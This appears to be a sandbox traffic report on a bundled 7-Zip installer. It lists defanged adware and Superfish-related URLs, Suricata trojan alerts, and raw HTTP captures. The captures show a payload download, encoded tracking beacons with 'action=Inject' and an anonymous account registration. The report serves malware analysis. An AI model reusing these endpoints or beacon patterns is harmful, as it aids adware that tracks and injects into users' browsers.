hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=hNMAVKhukrwSbACHvkgz8cxndPpeZYzTNMDcfItnUR6MDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovBvswr0UvYRXVZ6GNLFgb86f258KNSi4oyKF7F0eQd/THWbRKTrcCYmxIIWpTPES4rmkEK3qBiKqoEgEEv94CeHXagai3QxCFNgKkdlz1lRocKxf5n vItbBDL0iBnLmUkphfdOL Ldg/rY7TKOFg0m94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsMWZgjkQr7xlWehjSxYG/On9ufCjUouKMihexdHkHf0wrKMMG5pH3Yg==
hxxp://bi.bisrv.com/downloader/network_adworkmedia_1/7zipqjkz/fc5adcef92544d4d9ad600d2a201e613?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=fc5adcef92544d4d9ad600d2a201e613&muid=96D78F35E7B7EA4FC32736D428DF43B4
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=mystartsearch&tokyo_csrf2_key=09c1835d00ecec68e98f841ed2c68e9b&tokyo_csrf2_timestamp=1420623134&slot_number=4&index_in_screen=1&index_in_session=4&0.28091281110117694
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=XJYuqQQo69fhEjJFr58dcxMjVK2p56w8eq10/GADmDD6npfW4udM4fqFPNHe3DAVndSFVUHxaEBEKo5xU2IcROgga322f3p0fD6sFy6LlDEeU1 iuCr9NlNo13vxlHCujJZfyEd/PsAAnLtKBEyxZuRl11KuUTCBdGeErCxtDx8tGr28DRdxfBfPsjAwYrz0BON6bpifNP90ZOR3qDKzNEkiM1XqVHspN5k/xV0ou3jDB1OlY/J/1ujCU5QP8h1lILUdXtKJUNuUQ39PRzSGDmHmH6HrCAM2I yVqk8iwIeM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj26C9PLeYwYaPTl2pfP1 VeMSM2hlEvkMAzsPf/PibBcq5P1EdQrXWtvL36qVFCb7oOmWvAgGG3dl0h7WiqrqiGUM0uG3RWmTm/0nspDTOqFAcjVmlmgA9lM=
hxxp://install.sourceapp.info/if?alpha=DStEDx5SDz0uX04gayURDG8XAh4Nd0gnEzgYUB5bX3cOSFsYWicmNU06DXgPESsYHDdPJH4AXhEsEE0ICWA4CHZjIQQQGlphC0lGMHpdIkEPNgcPVFh5HHQcfUdOOQcNZxAQE1xKQAsFe3RQC0YiIENbFgQvIg9aZVgQVR5dLTVsMDZ1WmpGBTMpUxctSHU4WBxvVAMEFi0HNRN5RUdIHAt7BhkcRldMe3MNb05dGgdPAwVvVAhiTQBOb0BFXF0oSk03BSQHEwZcaVsIS3E1M2cZTTZUCRdEUk4gEx4mUBJBTzNYTBY/DhotL0gqRBlJVSATAyYbAmlLCVMgaApbSiF7UD4nOWFKRggoFUlbdjtSI0MZYgEdG0RwQC8OBVVWC1dJOUFGRUhdVH9uDndfD09QLQIPIEsEeVhMUXxGCBgCbjkRaHV2RU9JAiBffxUmd2siRF8vJwAbX3tFY30/FAIYQRJsRl8WXEEaezACIE5YCVw0QUZjDV88UA0cLRVZDQh0PQliYSgMExlWcFYcHzUmVBxbHnUXQlJ9U1YiXC5VIBRATz9JRQs7RycKE3Z5LFAMCi01DyRUDn8rHGEYCTRr
hxxp://www.superfish.com/ws/products/main.js?v=2015.1.5.0.55&partnername=pelmmbomol
hxxp://install.sourceapp.info/mg?alpha=BjIzEAkdKFISc0QKHDoGOXtxAwxYCENhf1pXEA==
hxxp://cdn.visadd.com/script/14567725608/preload.js?subid=F17wsmtycl1-92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec
hxxp://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh/sBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAaeHbd/zx37qXr15cmiQDc=
hxxp://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?97ed576c83f91dc5
hxxp://i.sbitinjs.info/sbitin/javascript.js?hid=92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec&apptitle=ShopperPro&channel=IF17wsmtycl
hxxp://bi.bisrv.com/downloader/network_adworkmedia_1/7zipqjkz/c6f37ce09f7b3c4993073c407a485e5f?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=c6f37ce09f7b3c4993073c407a485e5f&muid=96D78F35E7B7EA4FC32736D428DF43B4
hxxp://h.pricejs.net/e?type=heart_bit&partner=somopf&channel=somopf&hid=v5532D312D352D32312D323835383032303933352DB48A115F3C&trinity=Z15d7t64614c&appTitle=PriceFountain&opdom=pricejs.net&instgrp=20141204__1086__lnk_aromani_70&sset=7&cb=115_0_7&src=midn8&userAgent=Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)	23.21.200.71
s.sbitinjs.info	107.20.179.109

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

SURICATA UDPv4 invalid checksum
SURICATA IPv4 invalid checksum
ET TROJAN Win32.Sefnit
ET POLICY Executable served from Amazon S3
ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected
ET POLICY User-Agent (NSIS_Inetc (Mozilla)) - Sometimes used by hostile installers

Traffic

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 07 Jan 2015 09:32:15 GMT

Content-Type: application/octet-stream

Content-Length: 1110476

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Accept-Ranges: bytes

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
.................... ...............................................s.
..........A...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@..@.data........
........r..............@....ndata.......@...........................rs
rc....A.......B...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>B..H.P.u..u..u...Hr@..B...SV.5.>B..E.WP.u...Lr@..e...E..E.
P.u...Pr@..}..e....Dp@........FR..VV..U... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
...Tr@..u....E..9}...w....~X.te.v4..Lp@....E.tU.}.j.W.E......E.......P
p@..vXW..Tp@..u..5Xp@.W...E..E.h ...Pj.h.6B.W..Xr@..u.W...u....E.P.u..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..

<<< skipped >>>

GET /app/ping.ashx?e=N6dOqWm8Q97B 4EkIHdGPxMjVK2p56w8eq10/GADmDD6npfW4udM4feRi8wRbTsZkmnCkuUBP1fxIejITcLjyv6vrlnR93yFOZepBrCxlI5QDt2X2jDCEvDhMTGyxHiH5Qsuno0J09RI381SZA6iXPexrYhFaidDoMXDwtYXLiCM6rj1sArpGYEOz PgVj0Lt7G/yXPW4uAmOrZFPj41hpR1VsvE9COl4L8jm4XJmBX6ED4cJ8XDJx/HJguNH6PJvi6UhUk8Si9pYw/SXL9kUczLWAmUEClrB84hjoFBGFqrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZ3jd05TL7uAUsXsbAzBWHYNP54lXZxmkqdkWCIrBlg7wHsq LX491F9XgY1PH32kIv7eLJQVn2gcqZAifiEkO/lYvgsEKFKIs4/ZfIGmnkI HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rep.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: image/gif

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:48 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=XJYuqQQo69fhEjJFr58dcxMjVK2p56w8eq10/GADmDD6npfW4udM4fqFPNHe3DAVndSFVUHxaEBEKo5xU2IcROgga322f3p0fD6sFy6LlDEeU1 iuCr9NlNo13vxlHCujJZfyEd/PsAAnLtKBEyxZuRl11KuUTCBdGeErCxtDx8tGr28DRdxfBfPsjAwYrz0BON6bpifNP90ZOR3qDKzNEkiM1XqVHspN5k/xV0ou3jDB1OlY/J/1ujCU5QP8h1lILUdXtKJUNuUQ39PRzSGDmHmH6HrCAM2I yVqk8iwIeM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj26C9PLeYwYaPTl2pfP1 VeMSM2hlEvkMAzsPf/PibBcq5P1EdQrXWtvL36qVFCb7oOmWvAgGG3dl0h7WiqrqiGUM0uG3RWmTm/0nspDTOqFAcjVmlmgA9lM= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rep.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: image/gif

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:48 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Wed, 07 Jan 2015 09:33:48 GMT..Content-Length: 0....
..

GET /app/ping.ashx?e=4tsL8HS5LX6yUxg71rJbZoyYEmaEZ7j6iUSU3wY9EyZgKkdlz1lRodCJn6eLsjsLqfxMJlhf/MF4ibS7Xw5g1/Eh6MhNwuPK/q uWdH3fIU5l6kGsLGUjlAO3ZfaMMIS8OExMbLEeIflCy6ejQnT1EjfzVJkDqJc97GtiEVqJ0OgxcPC1hcuIIzquPWwCukZgQ7P4 BWPQu3sb/Jc9bi4CY6tkU PjWGlHVWy8T0I6XgvyObhcmYFfoQPhwnxcMnH8cmC40fo8m LpSFSTxKL2ljD9Jcv2RRzMtYCZQQKWsHziGOgUEYWqsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRneN3TlMvu4BSxexsDMFYdg0/niVdnGaSp2RYIisGWDvAeyr4tfj3UX1eBjU8ffaQi/t4slBWfaBypkCJ ISQ7 Vi CwQoUoiMhU/k p55wA= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rep.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: image/gif

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:52 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Wed, 07 Jan 2015 09:33:52 GMT..Content-Length: 0..

GET /images/Tokyo/tokyo_sprite_full.png HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_adworkmedia_1/7zipqjkz/fc5adcef92544d4d9ad600d2a201e613?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=fc5adcef92544d4d9ad600d2a201e613&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: dsba220j59f4d.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 26401

Connection: keep-alive

Server: nginx

Date: Mon, 05 Jan 2015 19:15:14 GMT

Last-Modified: Mon, 05 Jan 2015 13:19:36 GMT

ETag: "54aa8f68-6721"

Expires: Mon, 05 Jan 2015 19:25:14 GMT

Cache-Control: max-age=600

Accept-Ranges: bytes

Age: 549

X-Cache: Hit from cloudfront

Via: 1.1 f3fd7007399ffee5545abd851958bd02.cloudfront.net (CloudFront)

X-Amz-Cf-Id: FlGpbTIkg7JEaU5Njbu6j_3AMkOV-VBYezQBJzKQbrUPjQLo_TcWeA==
.PNG........IHDR...............-)....tEXtSoftware.Adobe ImageReadyq.e&
lt;..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:080CC8DDBD6511E3B018CC78
0203A0F9" xmpMM:DocumentID="xmp.did:080CC8DEBD6511E3B018CC780203A0F9"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:080CC8DBBD6511E3B0
18CC780203A0F9" stRef:documentID="xmp.did:080CC8DCBD6511E3B018CC780203
A0F9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>..!C..c.IDATx......G}.....9....,....;...Mx.
1..!.l...`............{..%.q...o..qp ...1.flA0..E.d......vW..W/S..3..I
gF:....5=..=}..3....._.B>......!...%.....RJr....e...m......M...uW*.
.v..j.J.b.~.w.7QI/....{.@...)]....}.Ugf......eM.u..].N."c%.,.V...;.5..
}.v.......A...l>.;.>O....Lo..ku^......3.8....x./M.G]5y.(P....p..
.X..^.z.....R._ ..m..u/|.......:D.Z....\........;\....k.....|x>7\."
....RLi.$.%ZWo\......o.]]q...|.r.......Y.3.mal...d{{..W.....fQ.-......
.j5..e.....6............k(......b^k.....|miA....A$..(;o.??D.p.S5S'..KW
.......=....>..H..f.5....N.t...6 .......0w.0.`.......x.y....S{.<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEGwkCSV07gf3g5QOsqmf+MY= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.verisign.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1790

content-transfer-encoding: binary

Cache-Control: max-age=387444, public, no-transform, must-revalidate

Last-Modified: Sun, 4 Jan 2015 21:14:33 GMT

Expires: Sun, 11 Jan 2015 21:14:33 GMT

Date: Wed, 07 Jan 2015 09:37:09 GMT

Connection: keep-alive
0..........0..... .....0......0...0........6?s....V....OlL".O..2015010
4211433Z0s0q0I0... ..........!7h....O.d...AG&h.....k.&p..?...-.5......
.l$.%t...............20150104211433Z....20150111211433Z0...*.H........
.....P.<...'A.!..?... .T T..0... .K... #.Z..X.@0u@....Q...)`...z.fq
........L:T.........7.I....3.}.5&.b.c..DP....O...~....K....N....ny....
.`..Z....{...........f..n....j.h..A*...7T._.. .....q....6.5$|..=.....t
.)....,..B...8...*.O....SM6....VqP.....e...i7Y....Q-.....#0...0...0...
.......<o&S.-S..}...e.30...*.H........0..1.0...U....US1.0...U....Ve
riSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms of use a
t hXXps://VVV.verisign.com/rpa (c)09100...U...'VeriSign Class 3 Code S
igning 2009-2 CA0...141205000000Z..150305235959Z0..1.0...U....US1.0...
U....VeriSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms o
f use at hXXps://VVV.verisign.com/rpa (c)091<0:..U...3VeriSign Clas
s 3 Code Signing 2009-2 OCSP Responder0.."0...*.H.............0.......
..{(..t....2.Vf.....&;6).i*FK....W@....F....jnb.w._p.E.6.|.mk....(....
......p...........X.DF....^0N....b9.:..J. ZK.".^..\..p.'.$..JA..~QG.d.
}...r...gv... f...z.#..}..J...r9h.........LI-..^.......PUD.h<.l....
(n..i.....E.....2....^./Y......Y.m...'...hz..y..E..........0...0...U..
..0.0....U. ...0..0....`.H...E....0..0(.. .........hXXps://VVV.verisig
n.com/CPS0b.. .......0V0...VeriSign, Inc.0.....=VeriSign's CPS incorp.
 by reference liab. ltd. (c)97 VeriSign0...U.%..0... .......0...U.....
...0... .....0......0"..U....0...0.1.0...U....TGV-B-24710...*.H...<<< skipped >>>

GET /app/ping.ashx?e=ZuS0/O3oV2ru /iDx7KzPMmKoNQWIaTh5ipZ7ov36EQJFr7qb9z8c2damvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUMxZmCORCvvGVZ6GNLFgb86f258KNSi4oyKF7F0eQd/TCsowwbmkfdi&product=EXTBHO&bhov=1.0.1.4&rnd=2983&action=Inject&text=GoobzoInfo&usid=2858020935-2156992550-3658131804&pixguid=92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec&it=12 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:35:03 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Wed, 07 Jan 20
15 09:35:03 GMT..Content-Length: 0..

GET /online/RegisterAnon.aspx?ProductID=12000&Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&BundleID=NONE&BrandID=NONE&PartnerList= HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=iu4uyr55ojj1ilz5use5lq45


HTTP/1.1 200 OK

Connection: close

Date: Wed, 07 Jan 2015 09:33:28 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 98
<RESULT>.<ANON>.<ID>8bdf8418-b466-4ed7-9e49-f26d02b7
e07d</ID>.<PW>79SH6wsy</PW>.</ANON>.</RESUL
T>...

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=mystartsearch&tokyo_csrf2_key=09c1835d00ecec68e98f841ed2c68e9b&tokyo_csrf2_timestamp=1420623134&slot_number=4&index_in_screen=1&index_in_session=4&display_height=50&0.4793697933256762 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/7zipqjkz/554f0c32df4546428c4cd4ba3636f283?v=2.1&uid=554f0c32df4546428c4cd4ba3636f283&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1098259893.1420623114.1420623114.1420623114.1; __utmb=1.1.10.1420623114; __utmc=1; __utmz=1.1420623114.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 07 Jan 2015 09:32:50 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 07 Jan 2015 09:32:50 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /app/ping.ashx?e=ZuS0/O3oV2ru /iDx7KzPMmKoNQWIaTh5ipZ7ov36EQJFr7qb9z8c2damvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUMxZmCORCvvGVZ6GNLFgb86f258KNSi4oyKF7F0eQd/TCsowwbmkfdi&product=EXTBHO&bhov=1.0.1.4&rnd=2983&action=Inject&text=SuperFish&usid=2858020935-2156992550-3658131804&pixguid=92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec&it=12 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:35:03 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Wed, 07 Jan 20
15 09:35:03 GMT..Content-Length: 0..

GET /gen/helper.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: d13j8bqw-l8bu4n1j.netdna-ssl.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Wed, 07 Jan 2015 09:34:40 GMT

Content-Type: application/javascript

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Powered-By: Express

Cache-Control: public, max-age=3600

Last-Modified: Wed, 07 Jan 2015 06:15:26 GMT

ETag: W/"402b-2690224965"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Encoding: gzip
1285...............s.G......qI'......r.I .....(.R..Z..]....$.....V....
.l...d.;........~.;..,..........e..\-.y59.....9.V...._.E..<I.}...'.
....z......;/..I]-..t.\...`B.Z.l.S..~....?^==..=.O.........E|...l...1.
L...Z&{.......[...L>.B.g.O...`V...J.g....._.E;..<..OK.....Y..L..
...:v4Q..<.[...t............Z... .p.../..i.{.........OV.w....:..s..
.|Q...O..".^...uy....V.(.p..fT.!.......6g&.A[.(%L...PSN._ZiJM.&...Y...
%9$.....Z.R.7R.&.C..R.R...LM.(Z.E.*Z.o5...)...c...N.,E..*.X..y...e|..A
.:X.....h..a.....|.....l3...l..S...i...4.9........."U.....0.3ho}.z.*..
[. %.N.......UH^&.|....0.'u.y....C.?......./....K..F..5..IQ .I....Z.{.
.c<./....p.[..)......X...: .....V!.(..J.....-C..u..U1Y.x.k.xX....6.
.$..b..X2.8...%.[K..cK........".m......KS.....U.|K......L(......gc1$_.
.C...p..L.|...,M.}..o...s....S..)..F"`h..x...t.d.......n....] .,*.][.)
....C.i\..DeU.0....U...H.....s.....G.R6.X,S.D"oy.u.I.6...o....1".Ig...
...A......ya......bK.........dP....Z.=.H...|p7......o.x..D....ZR..=...
..g5_.E.....g.Y....#.....J..$."..H.}... .:%...,......jQ...&.jM.....f..
....)].44I.r;`..|.~$.eBJ%.Y...{.........k.S.RE...W..9{k.'..{.BX.`...Y.
M] ....h..4R..... ..\.....k$!.n.].QK..I.M...C...>B(.f.5>..M...d.
@.)W.j...z`r.2.........).QN.Tf.<!R> ^u.....(H..h..C..dB..m\..@m.
...ppZ...FM. tx=t......S..I..P.....I..7M.Q......N.:..R&.p(UTT........y
...Gm ...8.`...?.*..DG0.@@.%..(6Qt...D..r....,S.Q.Y.y{..kq.Q..V&...N..
.b......qP.f...#q....._1...5..l^#.....4........(.U4mx.29.e..90..:w....
...%.) ..i.J.@14*...T.i.!..f.Z_..Iwa.H$)0}Y.\.e...Wz/@i..w#....@..<<< skipped >>>

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=sourceapp_network&tokyo_csrf2_key=09c1835d00ecec68e98f841ed2c68e9b&tokyo_csrf2_timestamp=1420623134&slot_number=2&index_in_screen=1&index_in_session=2&display_height=170&0.9210836118111476 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/7zipqjkz/554f0c32df4546428c4cd4ba3636f283?v=2.1&uid=554f0c32df4546428c4cd4ba3636f283&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1098259893.1420623114.1420623114.1420623114.1; __utmb=1.1.10.1420623114; __utmc=1; __utmz=1.1420623114.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 07 Jan 2015 09:32:25 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 07 Jan 2015 09:32:25 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /app/ping.ashx?e=XJYuqQQo69dlDHo/mcV/ce1d8a9eu4WvEVgCodG2LeMSZTerw9Y85dVUaX7QH4bytNUutjdaeNp6qHIwZm58EnxEICoITTvdJ/43TAbs8Fe4ZvM W8i8tW188caoXin7Wjwfqp7MHxEi GVzQHau40lAwJN0gBwYgzaR8R5kiUwHziGOgUEYWqsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRsFG5pEsdtefw4TExssR4h ULLp6NCdPUSN/NUmQOolz3sa2IRWonQ4PulZf9ZCFDTvErBHdb0Bj38Km4JMgAXQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:23 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=XJYuqQQo69dlDHo/mcV/ce1d8a9eu4WvEVgCodG2LeMSZTerw9Y85dVUaX7QH4bytNUutjdaeNp6qHIwZm58EnxEICoITTvdJ/43TAbs8Fe4ZvM W8i8tW188caoXin7Wjwfqp7MHxFeqRIU2Wz5FvVqYNFaQMtWTt1BChYB6OEQSIy21hLngDYDbpKgQdEF9cIpytU0y3LG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l6AwGw39X SPx0fofCQUPI9Ti1p16ZP0eRrlf3Z bjvtKS13pkoDd7gxvWvwyq qsQFKvbxhXJ8 DxJ w6ryxW8= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:24 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=XJYuqQQo69dlDHo/mcV/ce1d8a9eu4WvEVgCodG2LeMSZTerw9Y85dVUaX7QH4bytNUutjdaeNp6qHIwZm58EnxEICoITTvdJ/43TAbs8Fe4ZvM W8i8tW188caoXin7Wjwfqp7MHxEi GVzQHau4wOxpFqMx/dg0GZUN OvxiAwLBsnpDJR9iyipIUVGaA 2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvnzbANYrsS2gYCeVs4X60vwTllbk/LUu49qgJgciU/U2kREjVY40hPtogV m3dpwaBWLfeo/B59z4BlKlGJcuDg HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


